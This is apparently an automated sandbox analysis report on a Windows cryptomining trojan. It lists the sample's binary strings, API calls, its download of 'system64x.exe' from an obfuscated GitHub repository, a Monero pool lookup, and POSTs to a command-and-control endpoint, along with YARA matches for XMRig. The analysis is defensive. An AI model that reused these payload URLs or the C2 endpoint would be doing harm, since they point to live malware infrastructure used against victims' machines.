Source:	Binary string: +@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb* source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~1.PDB @ source: svchost.exe, 00000036.00000000.2489829053.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595101701.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000036.00000000.2489752703.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3594746319.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000036.00000000.2489909751.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3595767574.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85898DCE0 FindFirstFileExW,	22_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86DCE0 FindFirstFileExW,	31_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5CDCE0 FindFirstFileExW,	32_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA9DCE0 FindFirstFileExW,	33_2_000001160CA9DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10ADCE0 FindFirstFileExW,	48_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C93DCE0 FindFirstFileExW,	49_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA9854DCE0 FindFirstFileExW,	50_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26531DCE0 FindFirstFileExW,	51_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27DDCE0 FindFirstFileExW,	52_2_00000254A27DDCE0
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6DCE0 FindFirstFileExW,	53_2_0000028708E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DDDCE0 FindFirstFileExW,	54_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD40DCE0 FindFirstFileExW,	55_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056ADCE0 FindFirstFileExW,	56_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F6DCE0 FindFirstFileExW,	57_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E0DCE0 FindFirstFileExW,	58_2_0000025CE3E0DCE0

Source: global traffic

TCP traffic: 192.168.2.5:49734 -> 149.102.143.109:10128

Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blob/main/system64x.exe?raw=true HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blob/main/system64x.exe?raw=true HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: gulf.moneroocean.stream
Source: global traffic	DNS traffic detected: DNS query: wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org

Source: unknown

HTTP traffic detected: POST /api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 487Content-Type: application/jsonHost: wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.orgUser-Agent: cpp-httplib/0.12.6

Source: lsass.exe, 0000001F.00000000.2415950119.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3604819718.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://3csp.icrosof4m/ocp0
Source: svchost.exe, 00000037.00000000.2501565455.00000205FD288000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415653790.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3603749315.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415783526.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 0000001F.00000000.2417171754.00000140AE209000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3608108139.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416903296.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2771064773.00000140AE1F3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3609472974.00000140AE209000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: updater.exe, 0000001C.00000003.2442351012.0000015366BF0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415653790.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3603749315.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415783526.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000001F.00000000.2417171754.00000140AE209000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3608108139.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416903296.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2771064773.00000140AE1F3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3609472974.00000140AE209000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3603749315.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415783526.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000001F.00000002.3598384379.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415028963.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 0000001F.00000002.3598384379.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415028963.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 0000001F.00000000.2414877589.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3597393060.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000346B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2417171754.00000140AE209000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3608108139.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416903296.00000140AE1F1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3603749315.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2771064773.00000140AE1F3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3609472974.00000140AE209000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415653790.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2415783526.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 0000001F.00000002.3607523102.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2416748843.00000140AE19A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000026B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 0000001F.00000000.2414877589.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3597393060.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: lsass.exe, 0000001F.00000002.3608108139.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2432150701.000000001C83A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coA
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.0000000003353000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.0000000003467000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000348F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com(
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blo
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000348F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5h
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.2470280295.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3053963293.0000025545EA9000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000002.3605895268.0000025545EAE000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002F.00000003.3054668059.0000025545EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php
Source: dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php--cinit
Source: dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49729 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Windows\SysWOW64\system64x.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Reads the Security eventlog

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\ProgramData\Google\Chrome\updater.exe	Process information set: 01 00 00 00
Source: C:\ProgramData\Google\Chrome\updater.exe	Process information set: 01 00 00 00

System Summary

Malicious sample detected (through community Yara rule)

Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
